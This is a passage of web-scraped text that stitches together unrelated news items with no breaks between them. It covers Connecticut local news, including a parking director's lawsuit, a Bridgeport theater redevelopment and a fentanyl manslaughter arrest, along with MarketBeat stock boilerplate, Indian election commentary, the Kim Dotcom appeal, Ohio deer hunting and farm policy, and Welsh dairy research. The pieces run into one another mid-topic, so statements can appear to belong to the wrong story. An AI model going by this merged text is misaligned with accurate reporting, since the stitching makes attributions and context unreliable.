court papers, she said her efforts were frustrated and blocked by First Selectman Peter Tesei and Town Administrator Ben Branyan. She maintained that she was attempting to improve internal operations, but she was punished for her efforts to address important issues regarding the public finances of the town, and malfeasance by town employees. Her lawsuit maintains that she was made a scapegoat for the embarrassing public revelations of the problems in the parking services department. Tesei and Branyan have called Azrelyants court claims unsubstantiated allegations and patently false. In court papers filed last week, the towns lawyers also denied her contentions. The towns legal defense maintains that Azrelyants employment was terminated because the administration was legitimately dissatisfied with (her) job performance. The motion says Azrelyants position was ended for lawful reasons that would have caused the termination regardless of any other motivation. It did not provide specifics. The town administration earlier said the position of parking services director was being phased out, as part of a larger process to improve the delivery of services. Azrelyant is suing for damages for lost employment and lost wages, as well as for emotional distress. The towns legal defense also says she has failed to make reasonable efforts to obtain successor employment since the termination of her employment. If there is no settlement in Azrelyants lawsuit, a trial date has been tentatively scheduled for August 2019, according to court records. rmarchant@greenwichtime.com BRIDGEPORT A re-election year for Joe Ganim is just days away, and the fate of one of hizzoners most ballyhooed projects is unclear. In September 2017, at the mayors urging, the City Council approved a $400 million plan by New York-based Exact Capital to restore the Poli Palace and Majestic theaters downtown, and the adjacent Savoy Hotel. Residential towers one 18 stories high were also part of Exacts vision. The developer had until next week to obtain financing, otherwise the city could reconsider. According to sources, Exact executives were at City Hall on Tuesday, meeting with Ganim and his economic development staff. But the sides are remaining silent. The mayors and economic development offices, and Exacts managing partner, Craig Livingston, did not respond to multiple inquiries over the last few days by Hearst Connecticut Media. Given that Exacts window is quickly closing with no announcements, some observers are skeptical. In November 2017, Livingston had said he planned to break ground in the back half of 2018. Mickey Herbert, a Ganim supporter who retired from running the Bridgeport Regional Business Council in late October, said, If I were a betting person, I wouldnt be surprised if they (Exact) ask for an extension. I have no inside information whatsoever, Herbert was careful to add. Ive been a bit of a skeptic. because the size of the project is so large (and) they havent progressed to the point where any of us can say for certain theyre going to do it that theyve got the money to do it. Kelvin Ayala, who owns Moes Burger Joint and is a vocal and involved downtown merchant, said, If they had the funding in place, theyd be announcing it from the rooftops. When Ganim campaigned for mayor in 2015, he pledged to renovate the two theaters. Were that to happen, it would be one of the redevelopment projects the mayor could claim as his own as he asks voters for another four-year term in 2019. Ganim inherited several ongoing economic development initiatives from ex-Mayor Bill Finch. While campaigning unsuccessfully for governor over the past year, Ganim touted Exacts plans as the most exciting urban development project anywhere in this state. City Council President Aidee Nieves said that should Exact want more time to piece its financing together, that decision would first be in the hands of the councils Economic Development Committee before going to the full council. There were some parameters ... put in place to ensure this project will flow and not lay dormant, Nieves said. It is my hope this is going to be moving forward. Councilwoman Rev. Mary McBride-Lee is a co-chairman of the Economic Development Subcommittee. McBride-Lee said she has been given no information about what is happening with Exact. McBride-Lee said she would be open to granting Exact an extension, if they show they can come up with the money in a short period of time. I know that the mayor is going to be pushing real hard, she added, laughing. Thats his pet project, and I think hes going to do whatever he can to make it work. Livingston, too, has made it clear he is determined to begin construction. When asked in November 2017 about skeptics who wondered if Exacts plans would ever move forward or if Ganim had just needed a quick, flashy project to tout during his run for governor, Livingston had replied: Were always happy to prove the naysayers wrong. FAIRFIELD With the school year nearing the halfway mark, parents and school officials are preparing for the upcoming semester and beyond. And with that, there are some foreseeable bumps. Some of the prevalent topics brought up at the Dec. 13 town hall included mold and air conditioning issues at several schools and the Early Childhood Center. Around 15 attendees were at the event that lasted over two hours. Just last week, Superintendent Toni Jones and Executive Director of Special Education Robert Mancusi presented their short and long-term solutions for the ECC to the Board of Education. The short-term solution recommended to take place next school year involves splitting up the ECC between its current location at Fairfield Warde High School and Stratfield Elementary School. Long-term answers, the superintendent said at the Dec. 11 meeting, would require more input to reach an informed response. Some options that have been floated include building a new ECC facility or adding to the Mill Hill School project. Jerriann Mitchell, a speech language pathologist at the ECC since 2004, expressed concern at the administrators recommendations. We have stressed the importance of staying together, Mitchell said. While I understand that the focus on the upcoming year is critical, its very hard to decide when only a short-term solution is posed. Board of Education Chairman Christine Vitale said that the board would have to explore all available options regarding the future of the ECC and that the long-term solution is yet to be discussed at length. I understand the frustration on the uncertainty, Vitale said. We want a long-term solution and also want to ensure stability for the students that are there now. The education board will address the recommendation at its Jan. 8 meeting, and members of the public will be allowed to comment on the item. Meanwhile, parent Melissa Travis inquired about how the board would resolve the issue of heating and air conditioning at schools where its currently absent. Unfortunately, one of my sons first memories of kindergarten is coming home sick because it was so hot, Travis said. Board of Education Member Jennifer Leeper said acquiring the means for air conditioning at all schools was a long-term investment and that short-term solutions were also being looked into. The superintendent is working with the director of operations to put together a proposal for the town, and this is going to take a lot of resources and engineers to go to all schools to figure out the cost of installing means of fresh air and air conditioning at all of our 17 facilities, Leeper said. It would have to be presented to the town either to be bonded or up for a vote ... but its something were taking very seriously for our children and our staff. Board of Education members, while thanking parents and teachers for bringing up issues, also called on them to continue advocating to other town bodies that are crucial in making budget decisions. The next Board of Education meeting is a budget presentation scheduled for Jan. 8. humberto.juarez@hearstmediact.com GREENWICH A man who allegedly provided the drugs that led to a fatal overdose in a Greenwich hotel in late September has been arrested and charged with manslaughter, police said. Daniel T. Linfante, 43, of the Glendale section of Queens, N.Y., was in custody in New York City and awaiting extradition to Connecticut to face a felony charge in connection with a mans death from an overdose fentanyl and heroin, police said Thursday. Officers went to a local hotel, the name of which was not released, on a report of a deceased male, police said. Investigators from the departments Narcotics Section were able to obtain information leading to a suspect who had sold narcotics, which led to the death of the deceased, according to a statement from police. The NYPD Fugitive Task Force arrested Linfante Dec. 13 as a fugitive from justice, based on the warrant issued by Greenwich police. He was held in custody and will face a hearing in coming days on whether he will be extradited to Connecticut, police said. Police declined to release any specifics about the case until Linfante was booked on the manslaughter charge in Connecticut. Linfante could be charged quickly if he waives extradition, police said. If he does not, a time-consuming process would start to move him to Connecticut. Authorities say they are pursuing a joint strategy to combat the effects of hard drugs hitting the nation, involving education, enforcement and treatment. This investigation has been one part of the collaborative effort within the Greenwich to address the local and national crisis of opioids, police Capt. Robert Berry said in a statement. Greenwich Police is using a multipronged strategy to address the issue: providing life-saving efforts in the field; connecting users to addiction services; arrests of those manufacturing and distributing drugs; and education. These initiatives are being done in conjunction with partners in the medical, education and counseling fields. According to New York state court records, Linfante has a previous arrest record. On Oct. 8, he was arrested in New York City and charged with a felony count of possession of a controlled substance with intent to sell. He was also hit with a misdemeanor count of possession of a controlled substance. Law enforcement officials have been ramping up efforts to apprehend people who sell drugs that cause overdoses, as well as charging them with manslaughter. Earlier this month, a former Greenwich resident was sentenced to more than two years in prison for his role in the death of friend to whom he provided drugs. Christopher Brokaw, 43, was given 30 months in prison for the drug-related death of Richard Congiu, 34, in Greenwich. Browkaw pleaded guilty to first-degree manslaughter and sales of narcotics. Congiu was among three Greenwich overdose deaths and 72,000 nationwide in 2017. iShares MSCI United Kingdom ETF's stock was trading at $25.60 on March 11th, 2020 when Coronavirus reached pandemic status according to the World Health Organization. Since then, EWU shares have increased by 26.9% and is now trading at $32.48. View which stocks have been most impacted by COVID-19. The Congress Party too tried to push the MNF to the wall by saying it had a secret alliance with the BJP, but that allegation did not work. The little-noticed elections to the 40-member Mizoram Assembly came up with a far-reaching verdict the victory of regionalism in the form of the Mizo National Front (MNF) winning an absolute majority, with 26 seats. The MNF had been a bitter opponent of the BJP during the campaign despite being a constituent unit of the North-East Democratic Alliance (NEDA), a front floated by the saffron party immediately after its victory in Assam in 2016. But among the first announcements that MNF leader Zoramthanga made after the victory was that his party would continue to support the NDA and remain a part of NEDA. Mizoram needs funds from the Centre to rebuild its moribund roads and other basic infrastructure, and that appears to be the primary reason why the MNF or Mr Zoramthanga for that matter has said they would continue to back the NDA. But it is clear that the MNF is the first regional party in the region that has managed to call the shots vis-a-vis the BJP, which seems to have engulfed the region insofar as assuming power is concerned. The MNF refused to have any alliance with the BJP in the state, saying that there was a serious clash of ideologies between the two parties. By taking this stand, the MNF gained considerable backing from the powerful Church in Mizoram that had been apprehensive of the BJP and its Hindutva ideology spreading in the largely Christian state. The Congress Party too tried to push the MNF to the wall by saying it had a secret alliance with the BJP, but that allegation did not work. True, the MNF helped the BJP fulfil its stated objective of achieving a Congress-mukt Northeast, but at the same time, the MNF has actually halted the BJP juggernaut in the region. First it was Assam in 2016, where the BJP bagged 61 of the 126 seats in the state Assembly, just two short of the halfway mark. That was no problem because its regional allies, the Asom Gana Parishad and the Bodoland Peoples Front, had won enough seats. Then it was the turn of Arunachal Pradesh, where barring the lone Congress MLA Nabam Tuki, the entire bunch of regional party legislators transformed themselves into the BJP, giving the state a BJP government under Pema Khandu. The polls in Manipur saw the BJP bagging a decent number of seats, although the Congress was still the single largest party. But the BJP, with superfast manoeuvres, stitched up an alliance with the National Peoples Party, the Naga Peoples Front and others. Then in the state elections that followed in Tripura, and Meghalaya, the BJP managed a spectacular performance, particularly when it managed to overthrow the 25-year-old CPI(M)-led Left Front rule in Tripura. In Nagaland, a Christian-dominated state, the BJP won 12 seats and became a part of the government led by the regional NDPP. The BJP had a deputy chief minister installed. In Meghalaya, the BJP had a poor showing, winning only two seats, but quickly sided with the NPP-led alliance and became a part of the Conrad Sangma government. It was in this backdrop that the Mizoram elections were held. When the BJP realised that the MNF, its constituent in the regional platform NEDA, was not going to enter into an alliance, the party decided to go it alone. That the BJP was fighting its first serious election in Mizoram was indicated by the fact that it put up candidates in 39 of the 40 seats. The BJP had been contesting elections in Mizoram since 1993. It won one seat when party candidate B.D. Chakma emerged victorious from the Buddhist Chakma-dominated Tuichwang constituency. Mr Chakma had joined the BJP after deserting the Congress, and therefore many said it should be considered a personal victory for Mr Chakma rather than a BJP win. But one cannot deny the fact that the BJP has opened its account in Mizoram. There are several other takeaways from the Mizoram elections that indicate the possible voter behaviour in the coming days. The margin by which the Congress has been defeated it managed only five seats despite being in power for 10 years at a stretch demonstrates an absolute rout of the party. Five-time chief minister Lal Thanhawla lost both the seats he had contested from (Champhai South and Serchhip). Mizoram was the last bastion of the Congress Party in the Northeast. Therefore, the Mizoram polls were seen as a direct battle between Rahul Gandhi and Prime Minister Narendra Modi the former anxious about retaining a stronghold in the region, and the latter desperate to open the BJPs account in the state. The relevance of regionalism in the country was further demonstrated by another regional party, the Zoram Peoples Movement, led by former IPS officer Lalduhoma, which has emerged as the main Opposition party in Mizoram by winning eight seats. Can the MNF then be credited with halting the BJPs march in the Northeast? The BJP may have opened its account in Mizoram, but it has not done as well as it expected. The focus now would be on the next two Assembly elections that are coming up in Arunachal Pradesh and Sikkim. Can the BJP then take the Northeast for granted in 2019? Perhaps not. It is challenges like these that have perhaps compelled the BJP in a state like Assam to hold on to its regional ally, the Asom Gana Parishad, despite a bitter war of words during the just concluded panchayat elections. While remaining a part of the Assam government, the AGP is opposing the BJPs move to amend the Citizenship Act to grant citizenship rights to Hindu migrants from Bangladesh and other neighbouring nations who may have fled their countries due to alleged persecution. Despite this, the BJP is tolerating the regional party. Ahead of 2019, the BJP in the Northeast is strong no doubt, but does not appear to be invincible, as the MNF has demonstrated. But the BJPs sweep of the panchayat polls in Assam, with the Congress holding on to its number two position, indicates that the party still has its grassroot base intact. However, it simply cannot afford to be complacent. The writer is a political commentator and editor-in-chief of Northeast Live, the only English-language satellite news channel in the Northeast Guyana Goldfields Inc. provides exploration and production of gold. It engages in the acquisition, exploration, development, production, and operation of gold mineral properties. The company also owns and operates gold drilling rights. The company was formerly known as Chiboug Copper Company Limited and changed its name to Guyana Goldfields Inc. in January 1995. Guyana Goldfields Inc. was incorporated in 1994 and is headquartered in Toronto, Canada. As of August 25, 2020, Guyana Goldfields Inc. operates as a subsidiary of Zijin Mining Group Company Limited. Read More There is not enough analysis data for Botswana Diamonds. 4.1 Community Rank Outperform Votes Botswana Diamonds has received 231 outperform votes. (Add your outperform vote.) Underperform Votes Botswana Diamonds has received 140 underperform votes. (Add your underperform vote.) Community Sentiment Botswana Diamonds has received 62.26% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Botswana Diamonds and other stocks. Vote Outperform if you believe BOD will outperform the S&P 500 over the long term. Vote Underperform if you believe BOD will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next American Consumer News, LLC dba MarketBeat 2010-2021. All rights reserved. 326 E 8th St #105, Sioux Falls, SD 57103 | U.S. Based Support Team at [email protected]arketbeat.com | (844) 978-6257 MarketBeat does not provide personalized financial advice and does not issue recommendations or offers to buy stock or sell any security. Our Accessibility Statement | Terms of Service | Do Not Sell My Information 2021 Market data provided is at least 10-minutes delayed and hosted by Barchart Solutions. Information is provided 'as-is' and solely for informational purposes, not for trading purposes or advice, and is delayed. To see all exchange delays and terms of use please see disclaimer. Fundamental company data provided by Zacks Investment Research. India already has close to 900 million eligible voters, and an estimated half-a-billion have access to the Internet. The role of Facebook, Twitter and WhatsApp could be crucial in deciding who wins.(Photo: AFP) When India votes in a general election next year, it will be the worlds largest democratic exercise, and the biggest ever test of the role of social media in an election. As the ruling Bharatiya Janata Party (BJP) readies for battle with the newly energised Congress party-led opposition in the election that must be held by May, the role of Facebook, Twitter and WhatsApp could be crucial in deciding who wins. India already has close to 900 million eligible voters, and an estimated half-a-billion have access to the Internet. The country has 300 million Facebook users and 200 million on Facebooks WhatsApp messaging service - more than any other democracy. Millions use Twitter. Social media and data analytics will be the main actors in the upcoming India elections. Their use would be unprecedented as both parties now use social media, said Usha M. Rodrigues, a communications professor at Deakin University in Melbourne, Australia, whose research has focused on social media and Indian politics. The potential for abuse is also immense, with incendiary news and videos capable of fanning violence in the sprawling multi-religious and multi-ethnic nation. Fake news and messages circulated on social media have led to more than 30 deaths since last year, data portal IndiaSpend says, mostly rumours about child kidnapping gangs. Political differences have in the past been no less deadly. Social media discourse, already bitter, will turn bilious, Milan Vaishnav, a senior research fellow at the Carnegie Endowment for International Peace in Washington, said of the coming campaign for the general election. It will be no-holds-barred on social media given that the opposition smells blood and the ruling party has its back against the wall. Both the main parties accuse each other of propagating fake news while denying they do so themselves. Nevertheless, the battle lines between them are clearly drawn. Congress has attacked Prime Minister Narendra Modis economic policies and his partys Hindu nationalist ideology, while the BJP dismisses the Congress as incompetent liberals out of touch with the people. This month, Congress won elections in three major states that have been the bastion of the BJP, setting the stage for a tight contest in 2019. Helping the opposition party was a revamped social media strategy. At the last election in 2014, Congress was crushed by the techno-savvy Modi and his array of social media weapons, including a flurry of tweets from his personal account, a BJP campaign on Facebook and holographic displays of Modi in remote villages. Congress leader Rahul Gandhi got a Twitter account only in 2015. But the opposition party is catching up and the playing field has gotten a lot bigger. India now has 450 million smartphone owners against 155 million at the last election in 2014, according to Counterpoint Research. Thats more than the entire population of the United States, the crucible for election campaigns on social media. Reuters visited one of the hubs of Congresss online operations in Rajasthan, one of the three states it won this month - a drab three-bedroom apartment up a dimly lit staircase in the city of Jaipur. Inside, party workers tracked news channels and social media posts on a wall of television screens. A three-member team of audio, video and graphic experts designed campaign material that was posted to public websites, while other volunteers used WhatsApp to send instructions to party workers. We were kids back then, but we are going to outmanoeuvre them now, said Manish Sood, 45, who runs his own social media marketing business and was managing the Congress volunteers at the Jaipur war room. Still, fighting Modi online isnt easy. With 43 million followers on Facebook and 45 million on Twitter globally, he is among the worlds most followed politicians. Congresss Gandhi still only has 8.1 million followers on Twitter and 2.2 million on Facebook. A request by Reuters to visit the BJPs social media centre in Jaipur was declined, but a member of the partys Rajasthan state IT unit, Mayank Jain, said it ran similar social media operations from two city apartments. Congress understands social media a bit now, but they do not have the volunteer manpower, Jain said in an interview, showing dozens of BJP WhatsApp groups on his phone, one of which was named BJP RAJASTHANS Warriors. While Twitter and Facebook were embraced by Indian politicians - mainly in the BJP - in 2014, its WhatsApp that has now become the social media tool of choice. In Jaipur city and the nearby town of Tonk, where traditional methods like public speeches and poster campaigns were widely used during the state poll, Congress and BJP party workers showed a Reuters reporter dozens of WhatsApp groups they were part of and used for campaigning. Congress said its volunteers managed 90,000 WhatsApp groups in Rajasthan, while the BJP said it controlled 15,000 WhatsApp groups directly, with its workers campaigning through roughly another 100,000 groups. But WhatsApp has been at the centre of controversy. After the false child kidnap messages were spread on the platform in India, it was flooded with falsehoods and conspiracy theories ahead of the October election in Brazil. WhatsApps end-to-end encryption allows groups of hundreds of users to exchange texts, photos and video beyond the purview of authorities, independent fact checkers or even the platform itself. WhatsApp is the biggest challenge for us right now on the social media front, said Nitin Deep Blaggan, a senior police officer in charge of monitoring online content in Jaipur. WhatsApp has limited the number of messages a user can forward in one go to 20 but in India specifically, the ceiling was fixed at five. The company blocked hundreds of thousands of accounts in Brazil during the election period, and the same was expected ahead of India polls, a source aware of the companys thinking said this month. We have engaged with political organisers to inform them that we will take action against accounts that are sending automated unwanted messages, Carl Woog, WhatsApps head of communications, told Reuters in a statement. He did not name any parties. A Facebook spokeswoman said the company was committed to maintaining elections integrity and making efforts to weed out false news. Twitter said it had made efforts to protect the electoral process and better detect and stop malicious activity. During the Rajasthan election, police ran a 10-man social media monitoring unit, tracking tweets and Facebook posts related to the state polls. Inside the monitoring room, the posts were shown on wall-mounted screens and automatically filtered into neutral, positive or negative sections. The negative posts received special attention - they were manually checked and, sometimes flagged to senior police officers for further investigation and action. The sole aim, members of the monitoring team said, was to ensure that no online post spilt into violence. One of the posts flagged by police when Reuters visited was a video from a Congress leaders rally where people appeared to be shouting slogans in favour of Pakistan, Indias old enemy. Congress nearby war room had already debunked the video they said was doctored. Within hours, party workers posted what they said was an original video, that showed that nobody shouted such slogans at the rally. (Source) There is not enough analysis data for Gafisa. 3.7 Community Rank Outperform Votes Gafisa has received 116 outperform votes. (Add your outperform vote.) Underperform Votes Gafisa has received 90 underperform votes. (Add your underperform vote.) Community Sentiment Gafisa has received 56.31% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Gafisa and other stocks. Vote Outperform if you believe GFA will outperform the S&P 500 over the long term. Vote Underperform if you believe GFA will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next Mr. Amazing Loans Corporation, a consumer finance company, provides unsecured online consumer loans to individuals in the United States. It offers loans for debt consolidation, medical expenses, home improvements, auto repairs, purchases, and discretionary spending. The company provides its loans to residents under the Mr. Amazing Loans brand name through its mramazingloans.com Website in 20 states, including Alabama, Arizona, California, Florida, Georgia, Illinois, Kentucky, Louisiana, Maryland, Missouri, Nevada, New Jersey, New Mexico, Ohio, Oregon, Pennsylvania, Texas, Utah, Virginia, and Wisconsin. The company was formerly known as IEG Holdings Corporation. Mr. Amazing Loans Corporation was founded in 1999 and is headquartered in Las Vegas, Nevada. Read More Brilliance China Automotive Holdings Limited, an investment holding company, manufactures and sells BMW vehicles and automotive components in the People's Republic of China and internationally. The company offers minibuses under the JinBei, Renault, Haise, Grand Haise, and Granse brands, as well as multi-purpose vehicles under the Huasong brand. Its automotive components include moldings, seats, axles, safety and airbag systems, and interior decoration products, as well as engines for minibuses, sedans, sport utility vehicles, light duty trucks, etc. The company also provides BMW sport activity vehicles. In addition, it offers auto-financing services to customers and dealers. Brilliance China Automotive Holdings Limited has strategic partnerships and alliances with BMW, Toyota, Magna, Bosch, Continental, Delphi, TI Automotive, and Johnson Controls. The company was incorporated in 1992 and is headquartered in Central, Hong Kong. Read More The Supreme Court said it had jurisdiction over the appeal and granted leave for the case to proceed. The Court of Appeal in July upheld a lower court ruling in 2017 that the extradition could take place. New Zealand highest court on Thursday said it would hear an appeal from Megaupload founder Kim Dotcom, who is attempting to overturn a lower courts ruling that he can be extradited to the United States to face racketeering and copyright charges. The Supreme Court said it had jurisdiction over the appeal and granted leave for the case to proceed, according to a statement on the courts website. The six-year legal saga is widely seen as a test for how far the United States can reach globally to apply American firms intellectual property rights. The Court of Appeal in July upheld a lower court ruling in 2017 that the extradition could take place. US authorities say Dotcom and three co-accused Megaupload executives cost film studios and record companies more than USD 500 million and generated more than USD 175 million in revenue by encouraging paying users to store and share copyrighted material. We are pleased that the New Zealand Supreme Court granted review of the US extradition case against Kim Dotcom, said Dotcoms lawyer, Ira Rothken. German-born Dotcom, who has New Zealand residency, became well known for his lavish lifestyle as much as his computer skills. He used to post photographs of himself with cars and vanity licence plates such as GOD and GUILTY, shooting an assault rifle and flying around the world in his private jet. Dozens of black-clad police raided Dotcoms mansion in 2012, breaking him out of a safe room and confiscating millions of dollars in cash and property, including a fleet of luxury cars, computers and art work. (Source) by Brendan Tuma | Padres Correspondent | Wed, Dec 19th 11:03pm EST Jon Heyman of Fancred reports the Yankees had dinner on Wednesday with Manny Machado, his wife, and his agent. (Jon Heyman on Twitter) Fantasy Impact: This comes after Machado toured Yankee Stadium during the day. New York is reportedly very interested in the free agent infielder. Heyman adds that Machado has now met with the Yankees, White Sox, and Phillies. There are not believed to be any mystery teams, so it sounds as if Machado will choose one the aforementioned franchises as his next home. It was a white-tailed deer, running from right to left across the cow pasture behind the barn. A real deer! Yes, thats exactly what it was. The sight was amazing and forever stamped in my memory. A first The deer was the first I had ever seen and still a rarity in much of Ohio. The antlered animal run in graceful bounds and cleared the pasture fences like they were mere shadows. The nearby Ravenna Arsenal might have been its home base, and I was told that the thousands of forested acres behind the facilitys security fence held all sorts of wildlife, including lots of deer. We lived in town but our next door neighbor held a guard job at the arsenal, now the Garfield training base. He regularly patrolled the huge enclosure and often had a story or two about the critters he spotted. It was butchering day on the Seyfried farm in the early 1950s, well before deer hunting had the huge following it does today. Uncle Harold, who seemed to always know something about most everything, looked up from his attempts to corral a hog and pointed out the deer so younger eyes could see the sight. History But even at that time, Ohio was already offering limited deer hunts. Controlled deer hunting actually got its Ohio start in 1943 when a first-ever, very short, buck only season was held in three rural counties with a total kill of just 168 bucks. Even back then Buckeye hunters expressed interest in big game hunting, probably after experiencing the activity in neighboring states. According to Ohio Division of Wildlife publications, 8,500 permits were sold for that first controlled hunt. Its known that even though many of us had never seen a deer in the wild before that butchering day, there were already a considerable number of white-tails in parts of the state including some northeast Ohio counties. After decades of none or nearly none, the number of deer had grown significantly mostly from the influx from expanding herds in Pennsylvania and other nearby states. Keep in mind that killing only bucks had become the culture in neighboring states where deer hunting had already become a tradition. Pity the sap that dragged a doe back to camp where the comments would rain down in large amounts of stinging pity patter. Doe population It didnt take too long for Ohio deer managers to learn that a limited doe harvest was needed to keep the herd in check and healthy. The first year to see an Ohio deer harvest total in excess of 10,000 was 1974 when 10,747 were tagged. Hunting in all 88 counties was not permitted until 1979. In 1988, the kill topped 100,000 which was almost evenly split between bucks and does. The highest harvest number ever was in 2010 when it topped a quarter million and the deer herd deemed to be out of control. Now, county by county management strategies will certainly prevent that huge number to ever be seen again. Never the less, hunters still look forward to deer hunting season more than any other hunting opportunity in the state. COLUMBUS Ohio farmers can expect a better relationship with state administration when Gov.-elect Mike DeWines team takes over in January, according to Lt. Gov.-elect Jon Husted, who spoke during the Ohio Grain Farmer Symposium Dec. 18. Husted, who currently serves as Secretary of State, said the new administration wants to work with agriculture as the state tackles the water quality issues. We dont want to have an adversarial relationship we want to have a collaborative relationship, Husted said. He said collaboration will be important, with the goal of whats best for everyone, including those in cities and on farms. Corn and soybean leaders welcomed his comments, after a year of defending their industry from a plan by Gov. John Kasich that sought to declare eight watersheds in distress, and set new water quality rules that were unpopular among farmers. New effort The issue wont go away, but farmers said they feel more confident theyll be included in new policy and decision making. Tadd Nicholson, executive director of the Ohio Corn and Wheat Growers Association, said farmers spent most of the past year on defense, protecting themselves from bad policy. But going forward, he said it will be important for farmers to help lead the charge toward improving water quality. Were going to need to go on offense, he said. We need to take ownership of this. Kasichs plan would have required farmers in the proposed areas to have a nutrient management plan, and could have classified commercial fertilizer as a pollutant. Farmers generally support nutrient management plans, but said the requirement, as written, would have been too costly in terms of money and human resources. I think when you farm in Ohio, we just have to realize today that we have Lake Erie, Nicholson said. Were going to have to do some things that may be a little bit different than some of our colleagues around the country, and thats just going to be the way that it is. Farm bill Ohio farmers have a new farm bill with conservation programs intended to help address the Lake Erie water quality issue, and they also have new funding coming from the $36 million Clean Lake 2020 bill, which Kasich signed this fall. Aside from environmental issues, grain farmers remain concerned about profitability and market access. Although China and the U.S. have announced a temporary end to the trade war, farmers are concerned how much of the Chinese market they will regain, and for how long. I think its probably safe to assume its never going to be what it was, said Kirk Merritt, executive director of the Ohio Soybean Association. He said China imported almost a third of the U.S. soybean crop last year, and almost nothing this year. Even if trade returns, he said China has already made some structural changes with how much soybean ration it uses, and the countries from where it is sourced. Looking ahead Carl Zulauf, Ohio State University professor emeritus, said the impacts of the trade war could be long-lasting. I am very worried about the financial state of U.S. agriculture right now, Zulauf said. I am very deeply troubled by the long-term trade impacts and what were doing. He said its dangerous when food is used as a political weapon, using the example of the U.S. grain embargo against the former Soviet Union, in 1980. Zulauf said grain exports have never fully recovered, even though the embargo itself was short-lived. Nicholson said its important for farmers to get better at advocating for trade, as the U.S. considers multi-national trade agreements with other countries. He said farmers did well speaking up for ethanol, and now they need to do the same thing for trade. We want to build better advocates around trade, he said. Pleasant surprise Commodity leaders said they were somewhat surprised the farm bill got done this year, but also pleased. According to Zulauf, the bill is not just a continuation of the 2014 farm bill, and makes significant changes to conservation, and also the dairy margin protection program. Dairy farmers can expect a broader price protection margin, which is being expanded from $8 per hundredweight in the old bill, up to $9.50 in the new bill. Farmers will also have similar crop protection programs, the Agriculture Risk Coverage (ARC), and the Price Loss Coverage (PLC), with the option of switching between the programs beginning in 2021. Zulauf said conservation programs are changing in a way that intends to bring productive crop ground back into production, while placing a stronger emphasis of protecting grounds of higher conservation priority. Congress is really searching for what works in conservation, he said. Although the bill was seen as a major accomplishment, Zulauf said implementation will take time, and there could be a few surprises between what producers think is in the bill, and how it actually gets implemented. Implementation does not always work out the way you read it, he said. SPRING MILLS, Pa. Pennsylvania Certified Organic (PCO), a nonprofit organization that offers organic certification services throughout the U.S., held its annual membership meeting in Bellefonte, Nov. 28. The business portion of the meeting was followed by a listening session with Johanna Mirenda, Organic Trade Association (OTA), farm policy director. Members acknowledged the departure of PCO founder and long-time Executive Director Leslie Zuck. Zuck left the position in September and her role is currently being filled by two interim directors: Kyla Smith, PCOs director of certification, and Diana Underwood, PCOs director of operations. Smith and Underwood, both of whom have been with PCO for several years, are serving in this capacity while the board launches a search for Ms. Zucks successor. Luke Howard praised Smith and Underwood for their performance since stepping into their new roles, both their management of the transition period and their commitment to moving the organization forward. Largest certifiers It was noted that PCO has maintained its position as the fifth largest certifier in the nation, with approximately 1,600 certified organic clients, and grew its PCO 100% Grassfed certification by 173 percent between 2016 and 2017. If you think about the growth that we have had as an organization, it really has been phenomenal, Howard said. OTA Farm Policy Director, and former PCO employee, Johanna Mirenda led a listening session on OTAs work and the role of farmers in shaping that work. Mirenda stresed priority issues from OTAs Farmer Advisory Council work plan: pesticide and GMO contamination, dairy industry issues, labor shortage and climate change. Howard urged members to respond to a satisfaction survey and to vote in the 2019 PCO Board Member Election by Dec. 17. For information on organic certification, contact PCO at www.paorganic.org, 814-422-0251. Data gathered during a trial could help grass-based producers harness a market advantage from higher levels of beneficial fatty acids in certain types of milk. Seimon Thomas and Tom Harris are two of the 20 farmers who participated in the two-year trial. Their feeding systems are being scrutinised during a European Innovation Programme (EIP) Wales project examining the complete fatty acid profile of milk produced. The results could give them and other dairy farmers the opportunity to develop forage-based solutions to produce milk with enhanced levels of beneficial fatty acids such as omega-3. If we can substantiate where the omega-3 advantages exist, it will provide opportunities to incorporate this message into the branding and marketing of our milk," said Mr Thomas, who runs a herd of 900 Dairy Shorthorns at Drysgolgoch, near Llanfyrnach with his wife, Hanna. Milk and forage samples from all 20 farms are submitted on a monthly basis to the Institute of Biological and Environmental Research (IBERS) at Aberystwyth together with a questionnaire on feeding practices at the time of sampling. Hanna Thomas, who gathers these samples at Drysgolgoch, says milk producers must seize every opportunity to add value and EIP Wales had provided a platform for that. The farmers involved in the project have diverse systems ranging from conventional herds that are housed in winter and graze in summer and herds housed all-year round to organic herds and spring block calving systems. Some fully housed herds are also practising zero grazing where fresh grass is harvested daily for the cows. The group supply their milk to different milk buyers and processors, including commodity liquid milk, premium organic liquid milk, cheese manufacturers and high value food ingredient manufacturers. These outlets could all potentially take advantage of the project results, for example by marketing milk for its higher omega-3 content. The Thomas family runs two herds on different systems 350 autumn calvers housed from September to March and a similar sized spring block calving herd that grazes from February to the beginning of December; this provides a unique opportunity to compare and contrast the omega-3 content in their milk. At Ffosyficer near Abercych, the project will focus on milk from Tom and Francisca Harris herd of autumn calving Holstein Friesians. The couple have experience of adding value to milk - their family produces the Daioni range of organic flavoured and fresh milks. The couple had previously contemplated funding their own study into omega-3 in milk but, as an individual business, it would have proved costly due to the large amount of scientific research required to provide substantiated evidence. They therefore welcomed the EIP Wales collaborative approach. EIP projects aim to strengthen research and innovation within the agricultural sector in Wales, bridging the gap between research and roll-out on farm. EIP Officer Owain Rowlands said there are currently 19 approved projects on a variety of topics including animal health, genetics and alternative crops. All these projects are farmer-led and will enable farmers to take the outcomes of research and apply them to their farms," he explained. There is good support available to farmers and foresters who want to make most of the scheme, through Innovation Brokers. Emily Jones, of Landsker Business Solutions Ltd, who helps to administer the milk omega fatty acid project, said the role of the Innovation Broker was to guide applicants through the application process in the first instance. If the application is successful our job is to then facilitate the project throughout its lifetime,"she said. The proposed salary thresholds for skilled migrants post-Brexit may threaten the status of EU vets carrying out critical work in UK slaughterhouses. The Immigration White Paper includes plans to scrap the cap for skilled workers, such as doctors and engineers, and a consultation on a minimum salary requirement of 30,000 for skilled migrants seeking five-year visas. But the veterinary sector has concerns that a 30,000 threshold for EU workers could lead to a near-total wipeout of veterinary surgeons in critical public health roles in UK slaughterhouses, with devastating consequences for UK trade. Starting salaries for Official Veterinarians monitoring standards, food safety and animal health and welfare in abattoirs are in the mid-20,000s, meaning that imposing this threshold following consultation could jeopardise the capacity of this vital and specialist section of the workforce. Around 95 per cent of Official Veterinarians working in UK abattoirs are from overseas, predominantly the EU. The British Veterinary Association (BVA) has warned that any new 